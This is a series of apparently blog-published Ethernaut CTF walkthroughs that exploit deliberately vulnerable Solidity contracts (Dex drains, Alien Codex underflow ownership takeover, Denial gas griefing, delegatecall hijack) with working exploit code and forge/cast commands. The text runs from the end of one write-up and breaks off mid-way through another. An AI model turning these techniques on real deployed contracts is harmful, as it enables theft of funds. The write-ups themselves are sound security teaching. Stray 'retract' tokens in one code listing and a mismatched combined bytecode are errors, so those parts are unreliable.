We have to use pragma experimental ABIEncoderV2; otherwise the compilation will give an error related to dynamic nested arrays.

• After this, we are making ourselves the owner of the wallet by setting the value of pendingAdmin in the proxy contract.
• Calling the addToWhitelist() to whitelist our address. This will allow us to interact with other functions that have the onlyWhitelisted modifier.
• Making a multicall() with a value of 0.001 Ether and the data stored above in the array. This will introduce the erroneous balance calculation in the contract.
• Calling the execute() function to drain the contract.
• And at last, we are calling the setMaxBalance() function to set the value of maxBalance in the wallet contract, and therefore admin in the proxy contract.

The script can be executed using the following command:

forge script ./script/level24.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv

The new admin can be seen in the console log. The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

Takeaways

• Never leave business-critical functions without an access control modifier.
• The arrangement of slots should be the same otherwise it might be possible to overwrite the variables on the same slots through either the proxy or the implementation contract.
• Assembly should be used with caution as it overwrites most of the important solidity validations.
• If there are critical functions depending on the contract's balance, functions related to balance update and Ether deposit and withdrawal should be carefully implemented with all the necessary input validations.

References

• https://github.com/StErMi/foundry-ethernaut/blob/main/test/PuzzleWallet.t.sol
• https://www.youtube.com/watch?v=toVc-iX-XAA

This level is similar to Level 22 - Dex with a small modification in the swap() function. Our player has been provided with 10 tokens each of token1 and token2, the two types of tokens handled by the Dex. The Dex contract has a balance of 100 tokens each.

To complete this level, we need to drain all the tokens from Dex Two (both token1 and token2). Let's dive in.

Analysis

Before going forward, I would highly recommend doing the Level 22 - Dex before this one as I won't be going over the whole contract as that has been done previously.

Let's take a look at the vulnerable function -

function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

If we will compare the same function from the previous level, we will see that there's a line missing in this one which is -

require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

It is responsible for validating if the swapping is happening only for the two token addresses defined by the contract. Since this is absent from Dex Two, we are allowed to swap any tokens. Even the ones we create. This is what we have to do to drain the Dex Two.

Calculations

To exploit the Dex Two, here's what we have to do:

• Create our own ERC20 token and mint ourselves (msg.sender) 400 ZombieTokens (ZTN) (Name of our malicious token).
• Send 100 ZTN to Dex Two so that the price ratio is balanced to 1:1 when swapping.
• Approve the Dex to spend 300 of our ZTN. We'll need this to swap 100 token1 and 200 token2. This will be clearer once we see the balance table below.
• Once all that is done, here's how the distribution of balance will be:

• Swap 100 ZTN with token1. This will drain all the token1 from the Dex Two.

• According to the formula in get_swap_amount(), to get all the token2 from the Dex, we need - 100 = (x * 100)/200 - x = 200 ZTN. Therefore, we need to swap 200 ZTN to get 100 token2. Once this is done, here's how the final balance table will look:

The number of token2 to be returned = (amount of token1 to be swapped * token2 balance of the contract)/token1 balance of the contract.

Now it should be clear why we chose 400 ZTN to start with. Let's deploy our exploit code.

The Exploit

Let us first deploy our ZombieToken ERC20 contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract ZombieToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("ZombieToken", "ZTN") public {
        _mint(msg.sender, initialSupply);
    }
}

• Deploy the contract using the following command and save the deployed token contract address.

  forge create ZombieToken --private-key $PKEY --rpc-url $RPC_URL --constructor-args 400
  

The addresses used in the commands that follow below are:

• 0xAFE3F881306476e9F6B88cFB224E66d5484c22C1 - ZombieToken - My malicious ERC20 token
• 0xEAce4b71CA1A128e8B562561f46896D55B9B0246 - My wallet address
• 0xcEba857710790f945EC26A5B96Ef6D495F4BF3A5 - Ethernaut's instance of Dex Two

• Call the balanceOf() function with our user's address to make sure we received 400 ZTN:

cast call 0xAFE3F881306476e9F6B88cFB224E66d5484c22C1 "balanceOf(address)" "0xEAce4b71CA1A128e8B562561f46896D55B9B0246" --private-key $PKEY --rpc-url $RPC_URL | cast --to-dec

ERC20 function signatures can be looked up here

• Now send 100 ZTN to Dex Two:

cast send 0xAFE3F881306476e9F6B88cFB224E66d5484c22C1 "transfer(address,uint256)" "0xcEba857710790f945EC26A5B96Ef6D495F4BF3A5" "100" --private-key $PKEY --rpc-url $RPC_URL

• Let's now approve the Dex to spend 300 of our tokens so it can swap the tokens:

cast send 0xAFE3F881306476e9F6B88cFB224E66d5484c22C1 "approve(address,uint256)" "0xcEba857710790f945EC26A5B96Ef6D495F4BF3A5" "300" --private-key $PKEY --rpc-url $RPC_URL

Now it's time to execute our exploit script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel23.sol";

contract POC is Script {

    DexTwo level23 = DexTwo(0xcEba857710790f945EC26A5B96Ef6D495F4BF3A5);
    function run() external{
        vm.startBroadcast();
        address ZTN = address(0xAFE3F881306476e9F6B88cFB224E66d5484c22C1);
        address token1 = level23.token1();
        address token2 = level23.token2();

        level23.swap(ZTN, token1, 100);
        level23.swap(ZTN, token2, 200);

        console.log("Remaining token1 balance : ", level23.balanceOf(token1, address(level23)));
        console.log("Remaining token2 balance : ", level23.balanceOf(token2, address(level23)));
        vm.stopBroadcast();
    }
}

We have defined addresses for all the tokens used for swapping and calling the swap() function, once with token1 for 100 tokens and then with token2 for 200 tokens. The final balance for the Dex is logged to the console.

Run the script with the following command:

forge script ./script/level23.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv

We have successfully drained the Dex Two. The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

Takeaways

• There must be proper validations on the tokens allowed for swapping by the Dex
• If user-listed tokens are allowed to be swapped, careful attention should be paid to business-critical logic so that they can't exploit the contract
• When doing calculations related to any sensitive asset such as tokens, since there are no floating points in solidity, precision is lost as numbers are rounded off leading to exploits such as the one shown above

References

https://dev.to/nvn/ethernaut-hacks-level-23-dex-two-4424

This level is a Dex contract or decentralized exchange platform that deals with token swapping and exchange. Our player has been provided with 10 tokens each of token1 and token2, the two types of tokens handled by the Dex. The Dex contract has a balance of 100 tokens each.

To complete this level, we need to drain either all the tokens from token1 or token2 from the contract. Even though the contract looks bigger than other levels, it is one of the simplest once you get to know the logic and dangers of divisions (**wink wink**) and multiplications in solidity. Let's dive in.

Analysis

We will go through each function one by one.

function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
}

The setTokens() is used to set the address for each token contract. This can only be called by the owner due to the modifier onlyOwner.

function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

The addLiquidity() function can also be called by only the owner to provide liquidity to the contract. This transfers the approved amount of tokens from the token address to the Dex.

function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

• The swap() is a public function without any modifier which means anyone can call it. This is being used to swap x amount of token1 with token2 or vice-versa.
• This is taking from and to addresses for tokens and an amount.
• It is making sure that the addresses are only the token addresses defined by the owner using the setTokens() function.
• The other require statement is checking if the user calling the function has a sufficient amount of tokens.
• The variable swapAmount is calling the getSwapPrice() function to calculate the total amount to be swapped. We'll discuss more on this later.
• A transferFrom() call is made which is transferring swapAmount tokens from the user to the Dex.
• An approve call is being made in which the tokens to be swapped with are being approved for the contract.
• Then these to tokens are transferred from the Dex to our user.

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

This function is taking addresses for both the tokens and the amount of from tokens to be swapped and calculates the amount of to tokens. The following formula is used -

The number of token2 to be returned = (amount of token1 to be swapped * token2 balance of the contract)/token1 balance of the contract.

This is the vulnerable function. We will be exploiting the fact that there are no floating points in solidity which means whenever the function will do a division, the result will be a fraction. Since there are no decimals and floating points, the token amount will be rounded off towards zero. Therefore, by making continuous token swaps from token1 to token2 and back, we can decrease the total balance of one of the tokens in the contract to zero. The precision loss will automatically do the job for us.

function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
}

The approve is an ERC20 function that is used to give permission to the spender to spend amount tokens.

The balanceOf() function is just used to calculate the remaining token balance of the address.

Calculations

To exploit this level, we have to swap all our token1 for token2. Then swap all our token2 for token1. And repeat this process. Let's take a look at the token table.

1. Initially Dex has a balance of 100 for both the tokens and the User has a balance of 10 each.
2. The user makes a token swap from token1 to token2 for 10 tokens. Dex will have 110 token1 and 90 token2 whereas the user will have 0 token1 and 20 token2.

3. Now, when the user swaps 20 token2 for token1, the formula will return the following -

   Number of token1 tokens returned = (20 * 110)/90 = 24.44
   

   This value will be rounded off to 24. This means Dex will now have 86 token1, and 110 token2 and our user will have 24 token1 and 0 token2. If this is repeated a few more times, it will produce the values shown below.

4. We can see that on each token swap, we are left with more tokens than held previously.

5. Once we reach a value of 65 tokens for either token1 or token2, we can do another swap to drain the balance of one of the tokens from Dex. ((65*110)/45 = 158)

This means that in the final step if we need to drain 110 token1, the amount of token2 to be swapped is (65 * 110)/158 = 45. This will bring the token1 balance of the Dex to 0.

The Exploit

Let's take a look at our exploit script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel22.sol";

contract POC is Script {

    Dex level22 = Dex(0x84c765cfdbA36b9e81Db0eb7C9356eed77296ed6);
    function run() external{
        vm.startBroadcast();
        level22.approve(address(level22), 500);
        address token1 = level22.token1();
        address token2 = level22.token2();

        level22.swap(token1, token2, 10);
        level22.swap(token2, token1, 20);
        level22.swap(token1, token2, 24);
        level22.swap(token2, token1, 30);
        level22.swap(token1, token2, 41);
        level22.swap(token2, token1, 45);

        console.log("Final token1 balance of Dex is : ", level22.balanceOf(token1, address(level22)));
        vm.stopBroadcast();
    }
}

First of all, we are approving some 500 tokens to allow Dex to spend using approve() for both token1 and token2.

After approving all the tokens at once, we are making swap() calls according to our table shown above. The last line is just used to check the remaining token1 balance of the contract which should be 0 if the attack is successful.

Let's execute the script using the following command:

forge script ./script/level22.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv

The log output can be seen below showing that the attack was successful. The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

Takeaways

When doing calculations related to any sensitive asset such as tokens, careful attention should be paid to precision since there are no floating points in solidity, precision is lost as numbers are rounded off leading to exploits such as the one shown above

References

• https://dev.to/nvn/ethernaut-hacks-level-22-dex-1e18

This level requires us to buy the product from a shop for less than the price asked. It is eerily similar to Level 11 - Elevator, but with a caveat. Let's dive in.

Analysis

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

The buy() function is checking if the price value returned by the Buyer interface is greater than the price defined (100) and if the product is already sold. If the if statement validation goes through, the isSold is set to true, and the price is set to the new price returned by the Buyer interface.

The contract defines an interface called Buyer but the buy function is using msg.sender's address to create an instance. This means that we can deploy an attacker contract with a price() function in it and it will be called by the buy() function when checking the price.

Something which should be observed here is that the price() is a view function, i.e., it can not change the state so we can not maintain a state variable as we did in the Elevator but we can make external calls to functions that are view or pure.

Therefore, to return two values from our price() function, we can make it return values based on the variable isSold.

function price () external view returns (uint) {
    return level21.isSold() ? 1 : 101;
}

The Exploit

Let's take a look at the exploit code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../instances/Ilevel21.sol";

contract BrokenShop {

    Shop level21 = Shop(0x9350Bd45e706BCE78Ff84C9eB91503018fFd86F3);

    function exploit() external {
        level21.buy();
    }

    function price () external view returns (uint) {
        return level21.isSold() ? 1 : 101;
    }
}

Deploy the contract above using the following command:

forge create BrokenShop --private-key $PKEY --rpc-url $RPC_URL

and call the exploit() function to trigger the exploit:

cast send 0x5641B5ab8cc6c1FF0225c3BcaaDE972BD958F8a9 "exploit()" --private-key $PKEY --rpc-url $RPC_URL

Our exploit code will call the buy() function which will then make a call to the price() function defined in our contract. The function will return 101 which is more than the price defined in the Shop if isSold is set to false, otherwise, it will return 1. The new price can be checked in the console using await contract.price().

The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

Takeaways

• Never leave interfaces unimplemented and it is a really bad idea to trust implementations by other unknown contracts.
• Even though view and pure functions can not modify the state, they can be manipulated as shown above.

This is a rather simple one and the objective is to prevent the owner from withdrawing the funds when they call the withdraw() function. Let's dive in.

Analysis

Let's take a look at the vulnerable code:

function setWithdrawPartner(address _partner) public {
    partner = _partner;
}

function withdraw() public {
    uint amountToSend = address(this).balance.div(100);
    // perform a call without checking return
    // The recipient can revert, the owner will still get their share
    partner.call{value:amountToSend}("");
    owner.transfer(amountToSend);
    // keep track of last withdrawal time
    timeLastWithdrawn = now;
    withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

• The setWithdrawPartner() function is public and allows us to call it with our address so we can become a partner.

• The withdraw() function is calculating the amount to send inside amountToSend and makes two external calls. One of the calls is made to the partner address which is controlled by us and the other one is made to the owner's address. These calls are transferring 1% Ether each to the owner and the partner. So the question is how can we prevent the owner from withdrawing?

An interesting fact about the call() function is that it forwards all the gas along with the call unless a gas value is specified in the call. The transfer() and send() only forwards 2300 gas.

The call() returns two values, a bool success showing if the call succeeded and a bytes memory data which contains the return value. It should be noted that the return values of the external calls are not checked anywhere.

To exploit the contract and prevent the owner.transfer(amountToSend) from being called, we need to create a contract with a fallback or receive function that drains all the gas and prevents further execution of the withdraw() function.

The Exploit

Here's how our exploit code looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../instances/Ilevel20.sol";

contract DenialHack {
    Denial level20 = Denial(0x1bd442053Af3e571eBbe11809F3cd207A0466A45);

    constructor() public {
        level20.setWithdrawPartner(address(this));
    }

    receive() external payable {
        while (true) {}
    }
}

In the code shown above, we have created a constructor which is calling the setWithdrawPartner() to make the address of our deployed contract the partner.

A receive() function is also defined which has an infinite loop. This will help us in draining all the gas.

We will deploy the contract using:

forge create DenialHack --private-key $PKEY --rpc-url $RPC_URL

The instance can now be submitted to finish the level. The owner will try to call the withdraw() function but the execution will go to our receive() function and will drain all the gas leading to a failed transaction.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

Takeaways

Always check the return value of low-level calls, especially in cases where the called address is controlled by a third party.

Our only objective here is to become the owner of the contract. To complete this level, we must know the concept of dynamic arrays and how their slot packing works, along with overflows and underflows. Let's dive in.

Analysis

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
    assert(contact);
    _;
  }retract

  function make_contact() public {
    contact = true;
  }

  function record(bytes32 _content) contacted public {
      codex.push(_content);
  }

  function retract() contacted public {
    codex.length--;
  }

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }
}

We can see in the above contract that there's no owner variable. This is because it is coming from the inherited Ownable contract. If we look into the Ownable.sol, we can see that the variable address private _owner; is defined in the slot 0 of the contract. retract

pragma solidity ^0.5.0;

// some comments
contract Ownable {
    address private _owner;
...

Now that that's clear, let's learn how dynamic arrays work.

Assuming the dynamic array starts at a slot location p, then the slot p will contain the total number of elements stored in the array, and the actual array data will be stored at keccack256(p). More info on this can be found in the Solidity Docs.

Let's go through the organization of the storage layout in our vulnerable contract:

To finish the level we need to do the following steps:

1. Call the make_contact() function so that the contact is set to true. This will allow us to go through the contacted() modifier.
2. Call the retract() function. This will decrease the codex.length by 1. And what happens when you subtract 1 from 0 (initial array position)? You get an underflow. This will change the codex.length to be 2²⁵⁶ which is also the total storage capacity of the contract. This will now allow us access to any variables stored in the contract.
3. Call the revise() function to access the array at slot 0 and update the value of the _owner with our own address. The index i can be calculated as shown in the slot table above.

uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;

The _content is of type bytes32 which means we need to convert our address to bytes32. This can be done using the following code:

bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));

The Exploit

Here's how the exploit code looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import "../instances/Ilevel19.sol";

contract AlienHack {
    AlienCodex level19 = AlienCodex(0x752dD58810d09984504e080098A0c3Cf26C9093e);

    function exploit () external {
        uint index = ((2 ** 256) - 1) - uint(keccak256(abi.encode(1))) + 1;
        bytes32 myAddress = bytes32(uint256(uint160(tx.origin)));
        level19.make_contact();
        level19.retract();
        level19.revise(index, myAddress);
    }
}

We are calculating the index on which the slot 0 exists, converting our address to bytes32. The function retract() is called to underflow the array and then it is updated using the revise() function which is storing our address into the _owner variable in slot 0.

Let's deploy the contract using the following command:

forge create AlienHack --private-key $PKEY --rpc-url $RPC_URL

and call our exploit() function which will make us the owner:

cast send 0xb8131b26fa82A0d09fd7Aa186F7157418774e192 "exploit()" --private-key $PKEY --rpc-url $RPC_URL

We can check the new owner through the console using await contract.owner(). The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

Takeaways

Never allow modification of the array length of a dynamic array as they can overwrite the whole contract's storage using overflows and underflows.

References

• https://docs.soliditylang.org/en/v0.8.13/internals/layout_in_storage.html#mappings-and-dynamic-arrays
• https://listed.to/@r1oga/13892/ethernaut-levels-19-to-21#AlienCodex

This level wants us to provide it with a magic number that will magically solve the instance, but our code size should only be 10 opcodes.

To get through this level, we must know the fabled assembly. Let's dive in.

Analysis

To solve this, there's a size restriction of 10 opcodes, i.e., 10 bytes since each opcode is 1 byte. Therefore, our solver should be of at most 10 bytes and it should return 42 (0x2a).

We need to write two sets of bytecodes:

1. Initialization bytecode: It is responsible for preparing the contract and returning the runtime bytecode.
2. Runtime bytecode: This is the actual code run after the contract creation. In other words, this contains the logic of the contract.

Let's look at the Runtime opcodes first. We are using Ethereum Docs for opcode reference.

Runtime Opcodes

We need to do the following steps to create our runtime opcode:

1. Push and store our value (0x2a) in the memory

   To store the value, we'll use MSTORE(p, v) where p is the position or offset and v is the value. Since MSTORE expects the value to be already stored in the memory, we need to push it first using the PUSH1(value) opcode. We have to push both the value and the position where it'll be stored in the memory, therefore, we'll need 2 PUSH1 opcodes.

    1. 0x60 - PUSH1 --> PUSH(0x2a) --> 0x602a (Pushing 2a or 42)
    2. 0x60 - PUSH1 --> PUSH(0x80) --> 0x6080 (Pushing an arbitrary selected memory slot 80)
    3. 0x52 - MSTORE --> MSTORE --> 0x52 (Store value p=0x2a at position v=0x80 in memory)
   

2. Return the stored value

   Once we are done with the PUSH and MSTORE, it's time to return the value using RETURN(p, s) where p is the offset or position of our data stored in the memory and s is the length/size of our stored data. Therefore, we'll again need 2 PUSH1 opcodes.

    1. 0x60 - PUSH1 --> PUSH(0x20) --> 0x6020 (Size of value is 32 bytes)
    2. 0x60 - PUSH1 --> PUSH(0x80) --> 0x6080 (Value was stored in slot 0x80)
    3. 0xf3 - RETURN --> RETURN --> 0xf3 (Return value at p=0x80 slot and of size s=0x20)
   

We can obtain the value of bytecodes from the Docs mentioned above. Our final runtime opcode will be: 602a60805260206080f3.

Initialization Opcode

Let's take a look at the initialization opcode needed. These will be responsible for loading our runtime opcodes in memory and returning it to the EVM.

To copy code, we need to use the CODECOPY(t, f, s) opcode which takes 3 arguments.

• t: The destination offset where the code will be in memory. Let's save this to 0x00 offset.
• f: This is the current position of the runtime opcode which is not known as of now.
• s: This is the size of the runtime code in bytes, i.e., 602a60805260206080f3 - 10 bytes long.

1. 0x60 - PUSH1 --> PUSH(0x0a) --> 0x600a (`s=0x0a` or 10 bytes)
2. 0x60 - PUSH1 --> PUSH(0x??) --> 0x60?? (`f` - This is not known yet)
3. 0x60 - PUSH1 --> PUSH(0x00) --> 0x6000 (`t=0x00` - arbitrary chosen memory location)
4. 0x39 - CODECOPY --> CODECOPY --> 0x39 (Calling the CODECOPY with all the arguments)

Now, to return the runtime opcode to the EVM:

1. 0x60 - PUSH1 --> PUSH(0x0a) --> 0x600a (Size of opcode is 10 bytes)
2. 0x60 - PUSH1 --> PUSH(0x00) --> 0x6000 (Value was stored in slot 0x00)
3. 0xf3 - RETURN --> RETURN --> 0xf3 (Return value at p=0x00 slot and of size s=0x0a)

The bytecode for the Initialization opcode will become 600a60__600039600a6000f3 which is 12 bytes in total. This means the missing value for the starting position for the runtime opcode f will be index 12 or 0x0c, making our final bytecode 600a600c600039600a6000f3.

Once we have both the bytecodes, we can combine them to get the final bytecode which can be used to deploy the contract. 602a60805260206080f3 + 600a600c600039600a6000f3 = 600a600c600039600a6000f3602a60505260206050f3

The Exploit

Here's what our exploit script looks like:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel18.sol";

contract POC is Script {

    MagicNum level18 = MagicNum(0x636f1d8922D192D9F3d894C89EA83f4d34921e1E);
    function run() external{
        vm.startBroadcast();
        bytes memory code = "\x60\x0a\x60\x0c\x60\x00\x39\x60\x0a\x60\x00\xf3\x60\x2a\x60\x80\x52\x60\x20\x60\x80\xf3";
        address solver;

        assembly {
            solver := create(0, add(code, 0x20), mload(code))
        }
        level18.setSolver(solver);
        vm.stopBroadcast();
    }
}

We are storing the bytecode generated above in a code parameter. Using assembly, we are creating a solver contract. The create opcode takes 3 inputs - value, offset, and length and returns an address of the deployed contract which is then passed into the setSolver() function of the Ethernaut's instance.

Let's execute the script using the following command:

forge script ./script/level18.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv

We can see that 10 bytes of code are generated on the new address. The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

Takeaways

The contract's business logic and gas usage can heavily be customized by directly coding in the assembly language but it might also introduce a range of vulnerabilities so special attention must be paid before using it in production code.

References

• https://issuecloser.com/blog/ethernaut-hacks-level-18-magic-number
• https://ethereum.org/en/developers/docs/evm/opcodes/
• https://ethereum.stackexchange.com/questions/48986/append-address-to-bytecode-and-then-deploy-it
• https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/ba9058d7f800fc62289cf28ed3c31afdd0e53ad5/src/test/MagicNum.t.sol

This level is a token factory contract. The creator has created a new contract using the Recovery Factory contract and deposited some Ether into the newly created contract. They forgot the address of this new contract and our job is to find this lost contract and withdraw the deposited Ether.

We will do this level in two different ways, by using Etherscan and by calculating the address of the lost contract. Let's dive in.

Analysis

function destroy(address payable _to) public {
    selfdestruct(_to);
}

As it is evident from the question, we need to find the lost contract address. Once this is found, we can just call the destroy() function on the contract to withdraw the funds since the visibility is set to public. Let's derive the lost address.

Method 1 - Using the Formula

According to the Ethereum Yellow Paper -

The address of the new account is defined as being the rightmost 160 bits of the Keccak hash of the RLP encoding of the structure containing only the sender and the account nonce.

This means that the new address will be the rightmost 160 bits of the keccak256 hash of RLP encoding of sender/creator_address and their nonce.

• sender address - It is the address that created the contract.
• nonce - It is the number of contracts created by the factory contract or if it's an EOA, it will be the number of transactions by that account. In this case, it will be 1 assuming it is the first contract created by the factory.
• RLP - The purpose of RLP is to encode arbitrarily nested arrays of binary data, and RLP is the primary encoding method used to serialize objects in Ethereum's execution layer.
  • RLP for 20 byte address will be 0xd6, 0x94 according to the following sources: here, and here.
  • RLP encoding for nonce 1 will be 0x01 because for all values under [0x00, 0x7f] (decimal [0, 127]) range, that byte is its own RLP encoding.

Now that we know the above values, we can calculate the first address created by the factory contract as:

address lostcontract = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(<creator_address>), bytes1(0x01))))));

Method 2 - Using Etherscan

This is preferably the easiest method as you won't need to know any calculations and formulas to find the address because the block explorer will show it to you.

Go to Etherscan and enter the instance address in the search field and look inside the internal transactions.

The transaction flow can be seen creating another contract from the address of the first one.

This is the address that was lost containing 0.001 Ether stored in it:

The Exploit

Here's how our exploit script in foundry looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel17.sol";

contract POC is Script {

    function run() external{
        vm.startBroadcast();
        address payable lostcontract = address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(0xd89bEAe5D371Bc79754623f7f789a395F3D83b3C), bytes1(0x01))))));

        SimpleToken level15 = SimpleToken(lostcontract);
        level15.destroy(0xEAce4b71CA1A128e8B562561f46896D55B9B0246);

        vm.stopBroadcast();
    }
}

Using the formula described above, we are calculating the address of the lost contract and calling the destroy() with any random address to withdraw the ether from the contract using selfdestruct.

Execute the script using the following command:

forge script ./script/level17.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv

The updated contract balance can also be checked on Etherscan. The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - https://blog.dixitaditya.com/getting-started-with-ethernaut-hello-ethernaut

Takeaways

• Contract addresses are deterministic. Creating sensitive business logic around contract addresses should be validated properly.
• Ether can be sent to a non-existent contract therefore validations around the contract's balance should be enforced accordingly.

References

• https://ethereum.org/en/developers/docs/data-structures-and-encoding/rlp/
• https://ethereum.github.io/yellowpaper/paper.pdf#page=19
• https://ethereum.stackexchange.com/questions/760/how-is-the-address-of-an-ethereum-contract-computed

This level wants us to become the new owner to complete the instance.

This is similar to other levels where we solved challenges related to delegate calls and how they can be used to preserve the state and storage. It is recommended to go through levels 6 and 12 before starting with this one. Let's dive in.

Analysis

We learned in levels 6 and 12 about how delegate calls can be used to make external calls to other contracts. This is mostly used in library calls and the storage changes are replicated.

A delegate call is a special low-level call in Solidity to make external calls to another contract. Solidity By Example does an excellent job of explaining this.

Let's assume there are two contracts, similar to the one shown in Ethernaut's Delegation level, contracts A and B. When contract A executes delegatecall to contract B, B's code is executed with contract A's storage, msg.sender and msg.value.

This means that it is possible to modify a contract's storage using a code (malicious code) belonging to another contract.

Let's go through the vulnerable code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

    // public library contracts 
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner; 
    uint storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
        timeZone1Library = _timeZone1LibraryAddress; 
        timeZone2Library = _timeZone2LibraryAddress; 
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint _timeStamp) public {
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

// Simple library contract to set the time
contract LibraryContract {

    // stores a timestamp 
    uint storedTime;    

    function setTime(uint _time) public {
        storedTime = _time;
    }
}

Preservation Contract

• The Preservation contract defines some state variables, in which the first and second variable holds the addresses for the libraries and the third one is the owner in which we need to store our address. These addresses are predefined in the constructor and there's no way to change them. **wink wink**
• The variable setTimeSignature defines a function signature which will be used in delegate call so it knows which function name to call.
• The functions setFirstTime and setSecondTime are taking a timestamp as input and making delegate calls to the libraries. So the only part we control here is the parameter uint _timeStamp.

LibraryContract

• This is defining a variable called storedTime in slot 0 which maps to the variable address public timeZone1Library in the Preservation contract.
• The function setTime() is taking an input which is controlled by us and is stored inside the above variable.

To complete the level, here's what we have to do:

1. Create an attacker contract (DelegateHack) and call the setFirstTime() function. In the function argument _timeStamp, pass the address of the DelegateHack.
2. This will make a delegatecall to the LibraryContract and call the setTime() function with the address of the DelegateHack contract in_time. This will be stored in the parameter storedTime on slot 0.
3. Since the Preservation contract has the variable timeZone1Library in slot 0, it will get updated with the DelegateHack's address. Now we have control over one of the libraries.
4. We will implement our own setTime() function in our library/contract/DelegateHack and accept an address and store it inside our own owner variable.
5. To make sure the value of the owner is updated in slot 2 of the Preservation contract, we will organize the slots in our contract accordingly.
6. Now we will make another call to the setFirstTime function of the Preservation contract. Since we control the library's address, the execution flow will go to our own DelegateHack contract and set the owner which will then be reflected in the Preservation contract as well.

The Exploit

Let's now look at our exploit code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

